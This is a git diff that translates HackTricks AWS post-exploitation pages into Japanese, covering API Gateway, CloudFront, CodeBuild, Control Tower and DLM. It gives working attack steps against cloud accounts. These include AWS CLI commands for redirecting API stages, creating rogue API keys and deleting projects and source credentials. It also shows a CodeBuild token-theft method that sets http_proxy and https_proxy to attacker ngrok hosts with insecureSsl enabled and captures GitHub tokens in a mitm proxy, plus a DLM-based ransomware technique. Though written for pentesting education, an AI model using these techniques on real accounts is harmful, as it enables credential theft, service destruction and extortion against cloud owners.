-An attacker with the permissions `apigateway:UpdateStage` and `apigateway:CreateDeployment` can **modify an existing API Gateway stage to redirect traffic to a different stage or change the caching settings to gain unauthorized access to cached data**.
-
+`apigateway:UpdateStage`および`apigateway:CreateDeployment`の権限を持つ攻撃者は、**既存のAPI Gatewayステージを変更してトラフィックを別のステージにリダイレクトしたり、キャッシュ設定を変更してキャッシュデータへの不正アクセスを得ることができます**。
```bash
API_ID="your-api-id"
STAGE_NAME="Prod"
@@ -76,16 +69,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-
-**Potential Impact**: Unauthorized access to cached data, disrupting or intercepting API traffic.
+**潜在的な影響**: キャッシュされたデータへの不正アクセス、APIトラフィックの中断または傍受。
> [!NOTE]
-> Need testing
+> テストが必要
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
-An attacker with the permissions `apigateway:PutMethodResponse` and `apigateway:CreateDeployment` can **modify the method response of an existing API Gateway REST API method to include custom headers or response templates that leak sensitive information or execute malicious scripts**.
-
+`apigateway:PutMethodResponse` および `apigateway:CreateDeployment` の権限を持つ攻撃者は、**既存のAPI Gateway REST APIメソッドのメソッドレスポンスを変更して、機密情報を漏洩させるカスタムヘッダーやレスポンステンプレートを含めたり、悪意のあるスクリプトを実行させたりすることができます**。
```bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
@@ -98,16 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-
-**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources.
+**潜在的な影響**: 機密情報の漏洩、悪意のあるスクリプトの実行、またはAPIリソースへの不正アクセス。
> [!NOTE]
-> Need testing
+> テストが必要
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
-An attacker with the permissions `apigateway:UpdateRestApi` and `apigateway:CreateDeployment` can **modify the API Gateway REST API settings to disable logging or change the minimum TLS version, potentially weakening the security of the API**.
-
+`apigateway:UpdateRestApi`および`apigateway:CreateDeployment`の権限を持つ攻撃者は、**API Gateway REST APIの設定を変更してログを無効にしたり、最小TLSバージョンを変更したりすることができ、APIのセキュリティを弱める可能性があります**。
```bash
API_ID="your-api-id"
@@ -117,16 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-
-**Potential Impact**: Weakening the security of the API, potentially allowing unauthorized access or exposing sensitive information.
+**潜在的な影響**: APIのセキュリティが弱まり、未承認のアクセスを許可したり、機密情報を露出させる可能性があります。
> [!NOTE]
-> Need testing
+> テストが必要です
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
-An attacker with permissions `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, and `apigateway:CreateUsagePlanKey` can **create new API keys, associate them with usage plans, and then use these keys for unauthorized access to APIs**.
-
+`apigateway:CreateApiKey`、`apigateway:UpdateApiKey`、`apigateway:CreateUsagePlan`、および `apigateway:CreateUsagePlanKey` の権限を持つ攻撃者は、**新しいAPIキーを作成し、それらを使用プランに関連付け、これらのキーを使用してAPIへの未承認のアクセスを行うことができます**。
```bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
@@ -137,14 +124,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
```
-
-**Potential Impact**: Unauthorized access to API resources, bypassing security controls.
+**潜在的な影響**: APIリソースへの不正アクセス、セキュリティコントロールのバイパス。
> [!NOTE]
-> Need testing
+> テストが必要です
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
index 4a3c4ff21..765b39731 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
@@ -1,35 +1,31 @@
-# AWS - CloudFront Post Exploitation
+# AWS - CloudFront ポストエクスプロイテーション
{{#include ../../../banners/hacktricks-training.md}}
## CloudFront
-For more information check:
+詳細については、以下を確認してください:
{{#ref}}
../aws-services/aws-cloudfront-enum.md
{{#endref}}
-### Man-in-the-Middle
+### 中間者攻撃
-This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proposes a couple of different scenarios where a **Lambda** could be added (or modified if it's already being used) into a **communication through CloudFront** with the purpose of **stealing** user information (like the session **cookie**) and **modifying** the **response** (injecting a malicious JS script).
+この[**ブログ記事**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c)では、**Lambda**を追加(または既に使用されている場合は修正)して、**CloudFrontを通じた通信**でユーザー情報(セッション**クッキー**など)を**盗む**ことや、**レスポンス**を**変更する**(悪意のあるJSスクリプトを注入する)いくつかの異なるシナリオが提案されています。
-#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
+#### シナリオ 1: CloudFrontがバケットのHTMLにアクセスするように設定されているMitM
-- **Create** the malicious **function**.
-- **Associate** it with the CloudFront distribution.
-- Set the **event type to "Viewer Response"**.
+- **悪意のある** **関数**を**作成**します。
+- CloudFrontディストリビューションに**関連付け**ます。
+- **イベントタイプを「Viewer Response」に設定**します。
-Accessing the response you could steal the users cookie and inject a malicious JS.
+レスポンスにアクセスすることで、ユーザーのクッキーを盗み、悪意のあるJSを注入できます。
-#### scenario 2: MitM where CloudFront is already using a lambda function
+#### シナリオ 2: CloudFrontが既にlambda関数を使用しているMitM
-- **Modify the code** of the lambda function to steal sensitive information
+- 機密情報を盗むためにlambda関数の**コードを修正**します。
-You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
+このシナリオを再現するための[**tfコードはこちらで確認できます**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main)。
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
index 54be4e299..d9c87d340 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
@@ -4,85 +4,73 @@
## CodeBuild
-For more information, check:
+詳細については、次を確認してください:
{{#ref}}
../../aws-services/aws-codebuild-enum.md
{{#endref}}
-### Check Secrets
+### シークレットの確認
-If credentials have been set in Codebuild to connect to Github, Gitlab or Bitbucket in the form of personal tokens, passwords or OAuth token access, these **credentials are going to be stored as secrets in the secret manager**.\
-Therefore, if you have access to read the secret manager you will be able to get these secrets and pivot to the connected platform.
+Github、Gitlab、またはBitbucketに接続するためにCodebuildに設定された資格情報が、個人トークン、パスワード、またはOAuthトークンアクセスの形式である場合、これらの**資格情報はシークレットマネージャーにシークレットとして保存されます**。\
+したがって、シークレットマネージャーを読み取るアクセス権があれば、これらのシークレットを取得し、接続されたプラットフォームにピボットすることができます。
{{#ref}}
../../aws-privilege-escalation/aws-secrets-manager-privesc.md
{{#endref}}
-### Abuse CodeBuild Repo Access
+### CodeBuildリポジトリアクセスの悪用
-In order to configure **CodeBuild**, it will need **access to the code repo** that it's going to be using. Several platforms could be hosting this code:
+**CodeBuild**を構成するには、使用するコードリポジトリへの**アクセスが必要です**。このコードをホストしているプラットフォームはいくつかあります:
-The **CodeBuild project must have access** to the configured source provider, either via **IAM role** of with a github/bitbucket **token or OAuth access**.
+**CodeBuildプロジェクトは、設定されたソースプロバイダーへのアクセスを持っている必要があります**。これは**IAMロール**またはgithub/bitbucketの**トークンまたはOAuthアクセス**を介して行われます。
-An attacker with **elevated permissions in over a CodeBuild** could abuse this configured access to leak the code of the configured repo and others where the set creds have access.\
-In order to do this, an attacker would just need to **change the repository URL to each repo the config credentials have access** (note that the aws web will list all of them for you):
+**CodeBuildで権限が昇格した攻撃者**は、この設定されたアクセスを悪用して、設定されたリポジトリのコードや、設定された資格情報がアクセスできる他のリポジトリを漏洩させることができます。\
+これを行うには、攻撃者は単に**設定された資格情報がアクセスできる各リポジトリのリポジトリURLを変更する必要があります**(awsのウェブサイトがすべてをリストアップします):
-And **change the Buildspec commands to exfiltrate each repo**.
+そして、**各リポジトリを外部流出させるためにBuildspecコマンドを変更します**。
> [!WARNING]
-> However, this **task is repetitive and tedious** and if a github token was configured with **write permissions**, an attacker **won't be able to (ab)use those permissions** as he doesn't have access to the token.\
-> Or does he? Check the next section
+> ただし、この**作業は繰り返しで面倒です**。もしgithubトークンが**書き込み権限**で設定されていた場合、攻撃者は**その権限を(悪)用することができません**。なぜなら、トークンへのアクセス権がないからです。\
+> それとも、あるのでしょうか?次のセクションを確認してください。
-### Leaking Access Tokens from AWS CodeBuild
-
-You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with:
+### AWS CodeBuildからのアクセス・トークンの漏洩
+CodeBuildでGithubのようなプラットフォームに与えられたアクセスを漏洩させることができます。外部プラットフォームへのアクセスが与えられたかどうかを確認してください:
```bash
aws codebuild list-source-credentials
```
-
{{#ref}}
aws-codebuild-token-leakage.md
{{#endref}}
### `codebuild:DeleteProject`
-An attacker could delete an entire CodeBuild project, causing loss of project configuration and impacting applications relying on the project.
-
+攻撃者は、CodeBuildプロジェクト全体を削除することができ、プロジェクトの設定が失われ、プロジェクトに依存するアプリケーションに影響を与える可能性があります。
```bash
aws codebuild delete-project --name
```
-
-**Potential Impact**: Loss of project configuration and service disruption for applications using the deleted project.
+**潜在的な影響**: 削除されたプロジェクトを使用しているアプリケーションのプロジェクト構成の喪失とサービスの中断。
### `codebuild:TagResource` , `codebuild:UntagResource`
-An attacker could add, modify, or remove tags from CodeBuild resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
-
+攻撃者はCodeBuildリソースからタグを追加、変更、または削除することができ、タグに基づく組織のコスト配分、リソース追跡、およびアクセス制御ポリシーを混乱させる可能性があります。
```bash
aws codebuild tag-resource --resource-arn --tags
aws codebuild untag-resource --resource-arn --tag-keys
```
-
-**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
+**潜在的な影響**: コスト配分、リソース追跡、およびタグベースのアクセス制御ポリシーの混乱。
### `codebuild:DeleteSourceCredentials`
-An attacker could delete source credentials for a Git repository, impacting the normal functioning of applications relying on the repository.
-
+攻撃者はGitリポジトリのソース認証情報を削除することができ、リポジトリに依存するアプリケーションの正常な機能に影響を与える可能性があります。
```sql
aws codebuild delete-source-credentials --arn
```
-
-**Potential Impact**: Disruption of normal functioning for applications relying on the affected repository due to the removal of source credentials.
+**潜在的な影響**: ソース認証情報の削除により、影響を受けたリポジトリに依存するアプリケーションの正常な機能が妨げられる。
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
index c514d7a7c..ab0a44ebb 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -2,73 +2,68 @@
{{#include ../../../../banners/hacktricks-training.md}}
-## Recover Github/Bitbucket Configured Tokens
-
-First, check if there are any source credentials configured that you could leak:
+## Github/Bitbucketに設定されたトークンの回収
+まず、漏洩できるソース認証情報が設定されているか確認してください:
```bash
aws codebuild list-source-credentials
```
-
### Via Docker Image
-If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project.
+もし、例えばGithubへの認証がアカウントに設定されていることがわかった場合、Codebuildに**特定のDockerイメージ**を使用させてプロジェクトのビルドを実行させることで、その**アクセス**(**GHトークンまたはOAuthトークン**)を**抽出**することができます。
-For this purpose you could **create a new Codebuild project** or change the **environment** of an existing one to set the **Docker image**.
+この目的のために、**新しいCodebuildプロジェクトを作成**するか、既存のものの**環境**を変更して**Dockerイメージ**を設定することができます。
-The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**.
+使用できるDockerイメージは[https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)です。これは、**env変数`https_proxy`**、**`http_proxy`**、および**`SSL_CERT_FILE`**を設定する非常に基本的なDockerイメージです。これにより、**`https_proxy`**および**`http_proxy`**で指定されたホストのほとんどのトラフィックを傍受し、**`SSL_CERT_FILE`**で指定されたSSL CERTを信頼することができます。
-1. **Create & Upload your own Docker MitM image**
- - Follow the instructions of the repo to set your proxy IP address and set your SSL cert and **build the docker image**.
- - **DO NOT SET `http_proxy`** to not intercept requests to the metadata endpoint.
- - You could use **`ngrok`** like `ngrok tcp 4444` lo set the proxy to your host
- - Once you have the Docker image built, **upload it to a public repo** (Dockerhub, ECR...)
-2. **Set the environment**
- - Create a **new Codebuild project** or **modify** the environment of an existing one.
- - Set the project to use the **previously generated Docker image**
+1. **自分のDocker MitMイメージを作成してアップロード**
+- リポジトリの指示に従って、プロキシIPアドレスを設定し、SSL証明書を設定して**Dockerイメージをビルド**します。
+- メタデータエンドポイントへのリクエストを傍受しないように、**`http_proxy`を設定しないでください**。
+- **`ngrok`**を使用して、`ngrok tcp 4444`のようにプロキシをホストに設定できます。
+- Dockerイメージがビルドされたら、**パブリックリポジトリにアップロード**します(Dockerhub、ECR...)。
+2. **環境を設定**
+- **新しいCodebuildプロジェクトを作成**するか、既存のものの環境を**変更**します。
+- プロジェクトを**以前に生成したDockerイメージ**を使用するように設定します。
-3. **Set the MitM proxy in your host**
-
-- As indicated in the **Github repo** you could use something like:
+3. **ホストにMitMプロキシを設定**
+- **Githubリポジトリ**に示されているように、次のようなものを使用できます:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
-
> [!TIP]
-> The **mitmproxy version used was 9.0.1**, it was reported that with version 10 this might not work.
+> 使用された**mitmproxyのバージョンは9.0.1**であり、バージョン10ではこれが機能しない可能性があると報告されています。
-4. **Run the build & capture the credentials**
+4. **ビルドを実行し、認証情報をキャプチャする**
-- You can see the token in the **Authorization** header:
+- **Authorization**ヘッダーにトークンが表示されます:
-
-
-This could also be done from the aws cli with something like
+
+これは、aws cliを使用して次のように行うこともできます。
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
- "name": "my-demo-project",
- "source": {
- "type": "GITHUB",
- "location": "https://github.com/uname/repo",
- "buildspec": "buildspec.yml"
- },
- "artifacts": {
- "type": "NO_ARTIFACTS"
- },
- "environment": {
- "type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
- "image": "docker.io/carlospolop/docker-mitm:v12",
- "computeType": "BUILD_GENERAL1_SMALL",
- "imagePullCredentialsType": "CODEBUILD"
- }
+"name": "my-demo-project",
+"source": {
+"type": "GITHUB",
+"location": "https://github.com/uname/repo",
+"buildspec": "buildspec.yml"
+},
+"artifacts": {
+"type": "NO_ARTIFACTS"
+},
+"environment": {
+"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
+"image": "docker.io/carlospolop/docker-mitm:v12",
+"computeType": "BUILD_GENERAL1_SMALL",
+"imagePullCredentialsType": "CODEBUILD"
+}
}
## Json
@@ -76,117 +71,102 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
# Start the build
aws codebuild start-build --project-name my-project2
```
-
### Via insecureSSL
-**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
-Enabling this, allows to Codebuild to connect to the repository **without checking the certificate** offered by the platform.
-
-- First you need to enumerate the current configuration with something like:
+**Codebuild** プロジェクトには、APIからのみ変更できるウェブに隠された **`insecureSsl`** という設定があります。\
+これを有効にすると、Codebuild はプラットフォームが提供する証明書を **確認せずに** リポジトリに接続できるようになります。
+- まず、次のようなもので現在の設定を列挙する必要があります:
```bash
aws codebuild batch-get-projects --name
```
-
-- Then, with the gathered info you can update the project setting **`insecureSsl`** to **`True`**. The following is an example of my updating a project, notice the **`insecureSsl=True`** at the end (this is the only thing you need to change from the gathered configuration).
- - Moreover, add also the env variables **http_proxy** and **https_proxy** pointing to your tcp ngrok like:
-
+- その後、収集した情報を使ってプロジェクト設定の **`insecureSsl`** を **`True`** に更新できます。以下は私がプロジェクトを更新した例で、最後に **`insecureSsl=True`** があることに注意してください(これは収集した設定から変更する必要がある唯一の項目です)。
+- さらに、tcp ngrokを指す環境変数 **http_proxy** と **https_proxy** も追加してください:
```bash
aws codebuild update-project --name \
- --source '{
- "type": "GITHUB",
- "location": "https://github.com/carlospolop/404checker",
- "gitCloneDepth": 1,
- "gitSubmodulesConfig": {
- "fetchSubmodules": false
- },
- "buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
- "auth": {
- "type": "CODECONNECTIONS",
- "resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
- },
- "reportBuildStatus": false,
- "insecureSsl": true
- }' \
- --environment '{
- "type": "LINUX_CONTAINER",
- "image": "aws/codebuild/standard:5.0",
- "computeType": "BUILD_GENERAL1_SMALL",
- "environmentVariables": [
- {
- "name": "http_proxy",
- "value": "http://2.tcp.eu.ngrok.io:15027"
- },
- {
- "name": "https_proxy",
- "value": "http://2.tcp.eu.ngrok.io:15027"
- }
- ]
- }'
+--source '{
+"type": "GITHUB",
+"location": "https://github.com/carlospolop/404checker",
+"gitCloneDepth": 1,
+"gitSubmodulesConfig": {
+"fetchSubmodules": false
+},
+"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
+"auth": {
+"type": "CODECONNECTIONS",
+"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
+},
+"reportBuildStatus": false,
+"insecureSsl": true
+}' \
+--environment '{
+"type": "LINUX_CONTAINER",
+"image": "aws/codebuild/standard:5.0",
+"computeType": "BUILD_GENERAL1_SMALL",
+"environmentVariables": [
+{
+"name": "http_proxy",
+"value": "http://2.tcp.eu.ngrok.io:15027"
+},
+{
+"name": "https_proxy",
+"value": "http://2.tcp.eu.ngrok.io:15027"
+}
+]
+}'
```
-
-- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy)
-
+- 次に、プロキシ変数(http_proxyおよびhttps_proxy)で指摘されたポートで、[https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)から基本的な例を実行します。
```python
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
- host="127.0.0.1",
- port=4444,
- protocols=[protocol.HTTP],
- middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
- certificate_authority = crypto.CertificateAuthority()
+host="127.0.0.1",
+port=4444,
+protocols=[protocol.HTTP],
+middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
+certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-
-- Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port:
+- 最後に、**プロジェクトをビルド**をクリックすると、**認証情報**が**平文**(base64)でmitmポートに**送信されます**:
-### ~~Via HTTP protocol~~
+### ~~HTTPプロトコル経由~~
-> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
+> [!TIP] > **この脆弱性は2023年2月20日の週のある時点でAWSによって修正されました(金曜日だと思います)。したがって、攻撃者はもはやこれを悪用できません :)**
-An attacker with **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**.
+**CodeBuildでの権限が昇格された攻撃者は、設定されたGithub/Bitbucketトークンを漏洩させることができます**。または、権限がOAuth経由で設定されている場合、**コードにアクセスするために使用される一時的なOAuthトークン**です。
-- An attacker could add the environment variables **http_proxy** and **https_proxy** to the CodeBuild project pointing to his machine (for example `http://5.tcp.eu.ngrok.io:14972`).
+- 攻撃者は、CodeBuildプロジェクトに**http_proxy**と**https_proxy**の環境変数を追加し、自分のマシンを指すことができます(例えば`http://5.tcp.eu.ngrok.io:14972`)。
-- Then, change the URL of the github repo to use HTTP instead of HTTPS, for example: `http://github.com/carlospolop-forks/TestActions`
-- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy)
-
+- 次に、GitHubリポジトリのURLをHTTPSの代わりにHTTPを使用するように変更します。例えば:`http://github.com/carlospolop-forks/TestActions`
+- 次に、プロキシ変数(http_proxyとhttps_proxy)で指示されたポートで[https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)の基本的な例を実行します。
```python
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
- host="0.0.0.0",
- port=4444,
- protocols=[protocol.HTTP],
- middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
- certificate_authority = crypto.CertificateAuthority()
+host="0.0.0.0",
+port=4444,
+protocols=[protocol.HTTP],
+middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
+certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-
-- Next, click on **Build the project** or start the build from command line:
-
+- 次に、**プロジェクトをビルド**をクリックするか、コマンドラインからビルドを開始します:
```sh
aws codebuild start-build --project-name
```
-
-- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port:
+- 最後に、**credentials**は**平文**(base64)でmitmポートに**送信されます**:
> [!WARNING]
-> Now an attacker will be able to use the token from his machine, list all the privileges it has and (ab)use easier than using the CodeBuild service directly.
+> これで攻撃者は自分のマシンからトークンを使用し、持っているすべての権限をリストし、CodeBuildサービスを直接使用するよりも簡単に(悪用)できるようになります。
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
index f1c6fb394..1c8e8f1b8 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
@@ -8,17 +8,11 @@
../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
{{#endref}}
-### Enable / Disable Controls
-
-To further exploit an account, you might need to disable/enable Control Tower controls:
+### コントロールの有効化 / 無効化
+アカウントをさらに悪用するために、Control Towerのコントロールを無効化/有効化する必要があるかもしれません:
```bash
aws controltower disable-control --control-identifier --target-identifier
aws controltower enable-control --control-identifier --target-identifier
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
index baa309e53..bc48988a0 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
@@ -2,98 +2,90 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Data Lifecycle Manger (DLM)
+## データライフサイクルマネージャー (DLM)
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
-A ransomware attack can be executed by encrypting as many EBS volumes as possible and then erasing the current EC2 instances, EBS volumes, and snapshots. To automate this malicious activity, one can employ Amazon DLM, encrypting the snapshots with a KMS key from another AWS account and transferring the encrypted snapshots to a different account. Alternatively, they might transfer snapshots without encryption to an account they manage and then encrypt them there. Although it's not straightforward to encrypt existing EBS volumes or snapshots directly, it's possible to do so by creating a new volume or snapshot.
+ランサムウェア攻撃は、できるだけ多くのEBSボリュームを暗号化し、その後現在のEC2インスタンス、EBSボリューム、およびスナップショットを削除することで実行できます。この悪意のある活動を自動化するために、他のAWSアカウントのKMSキーを使用してスナップショットを暗号化し、暗号化されたスナップショットを別のアカウントに転送するAmazon DLMを利用できます。あるいは、暗号化なしでスナップショットを管理しているアカウントに転送し、そこで暗号化することも可能です。既存のEBSボリュームやスナップショットを直接暗号化するのは簡単ではありませんが、新しいボリュームやスナップショットを作成することで可能です。
-Firstly, one will use a command to gather information on volumes, such as instance ID, volume ID, encryption status, attachment status, and volume type.
+まず、インスタンスID、ボリュームID、暗号化ステータス、アタッチメントステータス、ボリュームタイプなどのボリュームに関する情報を収集するコマンドを使用します。
`aws ec2 describe-volumes`
-Secondly, one will create the lifecycle policy. This command employs the DLM API to set up a lifecycle policy that automatically takes daily snapshots of specified volumes at a designated time. It also applies specific tags to the snapshots and copies tags from the volumes to the snapshots. The policyDetails.json file includes the lifecycle policy's specifics, such as target tags, schedule, the ARN of the optional KMS key for encryption, and the target account for snapshot sharing, which will be recorded in the victim's CloudTrail logs.
-
+次に、ライフサイクルポリシーを作成します。このコマンドはDLM APIを使用して、指定されたボリュームの毎日のスナップショットを指定された時間に自動的に取得するライフサイクルポリシーを設定します。また、スナップショットに特定のタグを適用し、ボリュームからスナップショットにタグをコピーします。policyDetails.jsonファイルには、ターゲットタグ、スケジュール、暗号化のためのオプションのKMSキーのARN、スナップショット共有のためのターゲットアカウントなど、ライフサイクルポリシーの詳細が含まれており、被害者のCloudTrailログに記録されます。
```bash
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
```
-
-A template for the policy document can be seen here:
-
+ポリシー文書のテンプレートはここにあります:
```bash
{
- "PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
- "ResourceTypes": [
- "VOLUME"
- ],
- "TargetTags": [
- {
- "Key": "ExampleKey",
- "Value": "ExampleValue"
- }
- ],
- "Schedules": [
- {
- "Name": "DailySnapshots",
- "CopyTags": true,
- "TagsToAdd": [
- {
- "Key": "SnapshotCreator",
- "Value": "DLM"
- }
- ],
- "VariableTags": [
- {
- "Key": "CostCenter",
- "Value": "Finance"
- }
- ],
- "CreateRule": {
- "Interval": 24,
- "IntervalUnit": "HOURS",
- "Times": [
- "03:00"
- ]
- },
- "RetainRule": {
- "Count": 14
- },
- "FastRestoreRule": {
- "Count": 2,
- "Interval": 12,
- "IntervalUnit": "HOURS"
- },
- "CrossRegionCopyRules": [
- {
- "TargetRegion": "us-west-2",
- "Encrypted": true,
- "CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
- "CopyTags": true,
- "RetainRule": {
- "Interval": 1,
- "IntervalUnit": "DAYS"
- }
- }
- ],
- "ShareRules": [
- {
- "TargetAccounts": [
- "123456789012"
- ],
- "UnshareInterval": 30,
- "UnshareIntervalUnit": "DAYS"
- }
- ]
- }
- ],
- "Parameters": {
- "ExcludeBootVolume": false
- }
+"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
+"ResourceTypes": [
+"VOLUME"
+],
+"TargetTags": [
+{
+"Key": "ExampleKey",
+"Value": "ExampleValue"
+}
+],
+"Schedules": [
+{
+"Name": "DailySnapshots",
+"CopyTags": true,
+"TagsToAdd": [
+{
+"Key": "SnapshotCreator",
+"Value": "DLM"
+}
+],
+"VariableTags": [
+{
+"Key": "CostCenter",
+"Value": "Finance"
+}
+],
+"CreateRule": {
+"Interval": 24,
+"IntervalUnit": "HOURS",
+"Times": [
+"03:00"
+]
+},
+"RetainRule": {
+"Count": 14
+},
+"FastRestoreRule": {
+"Count": 2,
+"Interval": 12,
+"IntervalUnit": "HOURS"
+},
+"CrossRegionCopyRules": [
+{
+"TargetRegion": "us-west-2",
+"Encrypted": true,
+"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
+"CopyTags": true,
+"RetainRule": {
+"Interval": 1,
+"IntervalUnit": "DAYS"
+}
+}
+],
+"ShareRules": [
+{
+"TargetAccounts": [
+"123456789012"
+],
+"UnshareInterval": 30,
+"UnshareIntervalUnit": "DAYS"
+}
+]
+}
+],
+"Parameters": {
+"ExcludeBootVolume": false
+}
}
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
index d63689d9e..2a563f287 100644
